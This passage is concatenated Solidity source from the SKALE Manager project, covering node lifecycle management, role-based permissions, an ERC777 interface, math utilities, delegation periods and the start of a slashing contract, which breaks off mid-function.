nodes[nodeIndex].lastRewardDate = block.timestamp; } /** * @dev Allows SkaleManager to change a node's finish time. */ function changeNodeFinishTime(uint nodeIndex, uint time) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].finishTime = time; } /** * @dev Allows SkaleManager contract to create new node and add it to the * Nodes contract. * * Emits a {NodeCreated} event. * * Requirements: * * - Node IP must be non-zero. * - Node IP must be available. * - Node name must not already be registered. * - Node port must be greater than zero. */ function createNode(address from, NodeCreationParams calldata params) external allow("SkaleManager") nonZeroIP(params.ip) { // checks that Node has correct data require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered"); require(params.port > 0, "Port is zero"); require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect"); uint validatorId = ValidatorService( contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from); uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); nodes.push(Node({ name: params.name, ip: params.ip, publicIP: params.publicIp, port: params.port, publicKey: params.publicKey, startBlock: block.number, lastRewardDate: block.timestamp, finishTime: 0, status: NodeStatus.Active, validatorId: validatorId })); uint nodeIndex = nodes.length.sub(1); validatorToNodeIndexes[validatorId].push(nodeIndex); bytes32 nodeId = keccak256(abi.encodePacked(params.name)); nodesIPCheck[params.ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; domainNames[nodeIndex] = params.domainName; spaceOfNodes.push(SpaceManaging({ freeSpace: totalSpace, indexInSpaceMap: spaceToNodes[totalSpace].length })); _setNodeActive(nodeIndex); emit NodeCreated( nodeIndex, from, params.name, params.ip, params.publicIp, params.port, params.nonce, params.domainName, block.timestamp, gasleft()); } /** * @dev Allows SkaleManager contract to initiate a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitInitialized} event. */ function initExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeActive(nodeIndex), "Node should be Active"); _setNodeLeaving(nodeIndex); emit ExitInitialized( nodeIndex, block.timestamp, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to complete a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitCompleted} event. * * Requirements: * * - Node must have already initialized a node exit procedure. */ function completeExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeLeaving(nodeIndex), "Node is not Leaving"); _setNodeLeft(nodeIndex); emit ExitCompleted( nodeIndex, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to delete a validator's node. * * Requirements: * * - Validator ID must exist. */ function deleteNodeForValidator(uint validatorId, uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); if (position < validatorNodes.length) { validatorToNodeIndexes[validatorId][position] = validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)]; } validatorToNodeIndexes[validatorId].pop(); address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey); if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) { if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) { validatorService.removeNodeAddress(validatorId, nodeOwner); } nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false; nodeIndexes[nodeOwner].numberOfNodes--; } } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to create another node. * * Requirements: * * - Validator must be included on trusted list if trusted list is enabled. * - Validator must have sufficient stake to operate an additional node. */ function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress); require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node"); require( _checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length), "Validator must meet the Minimum Staking Requirement"); } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to maintain a node. * * Returns whether validator can maintain node with current stake. * * Requirements: * * - Validator ID and nodeIndex must both exist. */ function checkPossibilityToMaintainNode( uint validatorId, uint nodeIndex ) external checkNodeExists(nodeIndex) allow("Bounty") returns (bool) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); require(position < validatorNodes.length, "Node does not exist for this Validator"); return _checkValidatorPositionToMaintainNode(validatorId, position); } /** * @dev Allows Node to set In_Maintenance status. * * Requirements: * * - Node must already be Active. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrNodeManager(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active"); _setNodeInMaintenance(nodeIndex); } /** * @dev Allows Node to remove In_Maintenance status. * * Requirements: * * - Node must already be In Maintenance. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrNodeManager(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance"); _setNodeActive(nodeIndex); } /** * @dev Marks the node as incompliant * */ function setNodeIncompliant(uint nodeIndex) external onlyCompliance checkNodeExists(nodeIndex) { if (!incompliant[nodeIndex]) { incompliant[nodeIndex] = true; _makeNodeInvisible(nodeIndex); } } /** * @dev Marks the node as compliant * */ function setNodeCompliant(uint nodeIndex) external onlyCompliance checkNodeExists(nodeIndex) { if (incompliant[nodeIndex]) { incompliant[nodeIndex] = false; _tryToMakeNodeVisible(nodeIndex); } } function setDomainName(uint nodeIndex, string memory domainName) external onlyNodeOrNodeManager(nodeIndex) { domainNames[nodeIndex] = domainName; } function makeNodeVisible(uint nodeIndex) external allow("SchainsInternal") { _tryToMakeNodeVisible(nodeIndex); } function makeNodeInvisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeInvisible(nodeIndex); } function changeIP( uint nodeIndex, bytes4 newIP, bytes4 newPublicIP ) external onlyAdmin checkNodeExists(nodeIndex) nonZeroIP(newIP) { if (newPublicIP != 0x0) { require(newIP == newPublicIP, "IP address is not the same"); nodes[nodeIndex].publicIP = newPublicIP; } nodesIPCheck[nodes[nodeIndex].ip] = false; nodesIPCheck[newIP] = true; nodes[nodeIndex].ip = newIP; } function getRandomNodeWithFreeSpace( uint8 freeSpace, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast( freeSpace == 0 ? 1 : freeSpace, randomGenerator ).toUint8(); require(place > 0, "Node not found"); return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)]; } /** * @dev Checks whether it is time for a node's reward. */ function isTimeForReward(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now; } /** * @dev Returns IP address of a given node. * * Requirements: * * - Node must exist. */ function getNodeIP(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes4) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].ip; } /** * @dev Returns domain name of a given node. * * Requirements: * * - Node must exist. */ function getNodeDomainName(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (string memory) { return domainNames[nodeIndex]; } /** * @dev Returns the port of a given node. * * Requirements: * * - Node must exist. */ function getNodePort(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint16) { return nodes[nodeIndex].port; } /** * @dev Returns the public key of a given node. */ function getNodePublicKey(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes32[2] memory) { return nodes[nodeIndex].publicKey; } /** * @dev Returns an address of a given node. */ function getNodeAddress(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (address) { return _publicKeyToAddress(nodes[nodeIndex].publicKey); } /** * @dev Returns the finish exit time of a given node. */ function getNodeFinishTime(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].finishTime; } /** * @dev Checks whether a node has left the network. */ function isNodeLeft(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } function isNodeInMaintenance(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.In_Maintenance; } /** * @dev Returns a given node's last reward date. */ function getNodeLastRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].lastRewardDate; } /** * @dev Returns a given node's next reward date. */ function getNodeNextRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex); } /** * @dev Returns the total number of registered nodes. */ function getNumberOfNodes() external view returns (uint) { return nodes.length; } /** * @dev Returns the total number of online nodes. * * Note: Online nodes are equal to the number of active plus leaving nodes. */ function getNumberOnlineNodes() external view returns (uint) { return numberOfActiveNodes.add(numberOfLeavingNodes); } /** * @dev Return active node IDs. */ function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } /** * @dev Return a given node's current status. */ function getNodeStatus(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (NodeStatus) { return nodes[nodeIndex].status; } /** * @dev Return a validator's linked nodes. * * Requirements: * * - Validator ID must exist. */ function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); return validatorToNodeIndexes[validatorId]; } /** * @dev Returns number of nodes with available space. */ function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) { if (freeSpace == 0) { return _nodesAmountBySpace.sumFromPlaceToLast(1); } return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace); } /** * @dev constructor in Permissions approach. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); numberOfActiveNodes = 0; numberOfLeavingNodes = 0; numberOfLeftNodes = 0; _nodesAmountBySpace.create(128); } /** * @dev Returns the Validator ID for a given node. */ function getValidatorId(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].validatorId; } /** * @dev Checks whether a node exists for a given address. */ function isNodeExist(address from, uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev Checks whether a node's status is Active. */ function isNodeActive(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } /** * @dev Checks whether a node's status is Leaving. */ function isNodeLeaving(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal { uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; uint len = spaceToNodes[space].length.sub(1); if (indexInArray < len) { uint shiftedIndex = spaceToNodes[space][len]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; } spaceToNodes[space].pop(); delete spaceOfNodes[nodeIndex].indexInSpaceMap; } function _getNodesAmountBySpace() internal view returns (SegmentTree.Tree storage) { return _nodesAmountBySpace; } /** * @dev Returns the index of a given node within the validator's node index. */ function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) { uint i; for (i = 0; i < validatorNodeIndexes.length; i++) { if (validatorNodeIndexes[i] == nodeIndex) { return i; } } return validatorNodeIndexes.length; } /** * @dev Moves a node to a new space mapping. */ function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromTree(space); _addNodeToTree(newSpace); _removeNodeFromSpaceToNodes(nodeIndex, space); _addNodeToSpaceToNodes(nodeIndex, newSpace); } spaceOfNodes[nodeIndex].freeSpace = newSpace; } /** * @dev Changes a node's status to Active. */ function _setNodeActive(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Active; numberOfActiveNodes = numberOfActiveNodes.add(1); if (_invisible[nodeIndex]) { _tryToMakeNodeVisible(nodeIndex); } else { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); } } /** * @dev Changes a node's status to In_Maintenance. */ function _setNodeInMaintenance(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.In_Maintenance; numberOfActiveNodes = numberOfActiveNodes.sub(1); _makeNodeInvisible(nodeIndex); } /** * @dev Changes a node's status to Left. */ function _setNodeLeft(uint nodeIndex) private { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; delete spaceOfNodes[nodeIndex].freeSpace; } /** * @dev Changes a node's status to Leaving. */ function _setNodeLeaving(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Leaving; numberOfActiveNodes--; numberOfLeavingNodes++; _makeNodeInvisible(nodeIndex); } function _makeNodeInvisible(uint nodeIndex) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); _removeNodeFromTree(space); _invisible[nodeIndex] = true; } } function _tryToMakeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex] && _canBeVisible(nodeIndex)) { _makeNodeVisible(nodeIndex); } } function _makeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); delete _invisible[nodeIndex]; } } function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private { spaceToNodes[space].push(nodeIndex); spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length.sub(1); } function _addNodeToTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.addToPlace(space, 1); } } function _removeNodeFromTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.removeFromPlace(space, 1); } } function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId); uint msr = ConstantsHolder(contractManager.getConstantsHolder()).msr(); return position.add(1).mul(msr) <= delegationsTotal; } function _checkNodeIndex(uint nodeIndex) private view { require(nodeIndex < nodes.length, "Node with such index does not exist"); } function _checkNodeOrNodeManager(uint nodeIndex, address sender) private view { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require( isNodeExist(sender, nodeIndex) || hasRole(NODE_MANAGER_ROLE, msg.sender) || getValidatorId(nodeIndex) == validatorService.getValidatorId(sender), "Sender is not permitted to call this function" ); } function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1])); bytes20 addr; for (uint8 i = 12; i < 32; i++) { addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8); } return address(addr); } function _canBeVisible(uint nodeIndex) private view returns (bool) { return !incompliant[nodeIndex] && nodes[nodeIndex].status == NodeStatus.Active; } } // SPDX-License-Identifier: AGPL-3.0-only /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; import "./ContractManager.sol"; /** * @title Permissions * @dev Contract is connected module for Upgradeable approach, knows ContractManager */ contract Permissions is AccessControlUpgradeSafe { using SafeMath for uint; using Address for address; ContractManager public contractManager; /** * @dev Modifier to make a function callable only when caller is the Owner. * * Requirements: * * - The caller must be the owner. */ modifier onlyOwner() { require(_isOwner(), "Caller is not the owner"); _; } /** * @dev Modifier to make a function callable only when caller is an Admin. * * Requirements: * * - The caller must be an admin. */ modifier onlyAdmin() { require(_isAdmin(msg.sender), "Caller is not an admin"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName` contract. * * Requirements: * * - The caller must be the owner or `contractName`. */ modifier allow(string memory contractName) { require( contractManager.getContract(contractName) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1` or `contractName2` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, or `contractName2`. */ modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1`, `contractName2`, or `contractName3` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, `contractName2`, or * `contractName3`. */ modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || contractManager.getContract(contractName3) == msg.sender || _isOwner(), "Message sender is invalid"); _; } function initialize(address contractManagerAddress) public virtual initializer { AccessControlUpgradeSafe.__AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setContractManager(contractManagerAddress); } function _isOwner() internal view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, msg.sender); } function _isAdmin(address account) internal view returns (bool) { address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager"))); if (skaleManagerAddress != address(0)) { AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress); return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner(); } else { return _isOwner(); } } function _setContractManager(address contractManagerAddress) private { require(contractManagerAddress != address(0), "ContractManager address is not set"); require(contractManagerAddress.isContract(), "Address is not contract"); contractManager = ContractManager(contractManagerAddress); } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send(address recipient, uint256 amount, bytes calldata data) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: AGPL-3.0-only /* FractionUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library FractionUtils { using SafeMath for uint; struct Fraction { uint numerator; uint denominator; } function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) { require(denominator > 0, "Division by zero"); Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator}); reduceFraction(fraction); return fraction; } function createFraction(uint value) internal pure returns (Fraction memory) { return createFraction(value, 1); } function reduceFraction(Fraction memory fraction) internal pure { uint _gcd = gcd(fraction.numerator, fraction.denominator); fraction.numerator = fraction.numerator.div(_gcd); fraction.denominator = fraction.denominator.div(_gcd); } // numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1 function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) { return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator)); } function gcd(uint a, uint b) internal pure returns (uint) { uint _a = a; uint _b = b; if (_b > _a) { (_a, _b) = swap(_a, _b); } while (_b > 0) { _a = _a.mod(_b); (_a, _b) = swap (_a, _b); } return _a; } function swap(uint a, uint b) internal pure returns (uint, uint) { return (b, a); } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library MathUtils { uint constant private _EPS = 1e6; event UnderflowError( uint a, uint b ); function boundedSub(uint256 a, uint256 b) internal returns (uint256) { if (a >= b) { return a - b; } else { emit UnderflowError(a, b); return 0; } } function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) { if (a >= b) { return a - b; } else { return 0; } } function muchGreater(uint256 a, uint256 b) internal pure returns (bool) { assert(uint(-1) - _EPS > b); return a > b + _EPS; } function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) { if (a > b) { return a - b < _EPS; } else { return b - a < _EPS; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationPeriodManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; import "../ConstantsHolder.sol"; /** * @title Delegation Period Manager * @dev This contract handles all delegation offerings. Delegations are held for * a specified period (months), and different durations can have different * returns or `stakeMultiplier`. Currently, only delegation periods can be added. */ contract DelegationPeriodManager is Permissions { mapping (uint => uint) public stakeMultipliers; bytes32 public constant DELEGATION_PERIOD_SETTER_ROLE = keccak256("DELEGATION_PERIOD_SETTER_ROLE"); /** * @dev Emitted when a new delegation period is specified. */ event DelegationPeriodWasSet( uint length, uint stakeMultiplier ); /** * @dev Allows the Owner to create a new available delegation period and * stake multiplier in the network. * * Emits a {DelegationPeriodWasSet} event. */ function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external { require(hasRole(DELEGATION_PERIOD_SETTER_ROLE, msg.sender), "DELEGATION_PERIOD_SETTER_ROLE is required"); require(stakeMultipliers[monthsCount] == 0, "Delegation period is already set"); stakeMultipliers[monthsCount] = stakeMultiplier; emit DelegationPeriodWasSet(monthsCount, stakeMultiplier); } /** * @dev Checks whether given delegation period is allowed. */ function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) { return stakeMultipliers[monthsCount] != 0; } /** * @dev Initial delegation period and multiplier settings. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); stakeMultipliers[2] = 100; // 2 months at 100 // stakeMultipliers[6] = 150; // 6 months at 150 // stakeMultipliers[12] = 200; // 12 months at 200 } } // SPDX-License-Identifier: AGPL-3.0-only /* Punisher.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../Permissions.sol"; import "../interfaces/delegation/ILocker.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; /** * @title Punisher * @dev This contract handles all slashing and forgiving operations. */ contract Punisher is Permissions, ILocker { // holder => tokens mapping (address => uint) private _locked; bytes32 public constant FORGIVER_ROLE = keccak256("FORGIVER_ROLE"); /** * @dev Emitted upon slashing condition. */ event Slash( uint validatorId, uint amount ); /** * @dev Emitted upon forgive condition. */ event Forgive( address wallet, uint amount ); /** * @dev Allows SkaleDKG contract to execute slashing on a validator and * validator's delegations by an `amount` of tokens. * * Emits a {Slash} event. * * Requirements: * * - Validator must exist. */ function slash(uint validatorId, uint amount) external allow("SkaleDKG") { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(validatorService.validatorExists(validatorId), "Validator does not exist"); delegationController.confiscate(validatorId, amount); emit Slash(validatorId, amount); } /** * @dev Allows the Admin to forgive a slashing condition. * * Emits a {Forgive} event. * * Requirements: * * - All slashes must have been processed. */ function forgive(address holder, uint amount) external { require(hasRole(FORGIVER_ROLE, msg.sender), 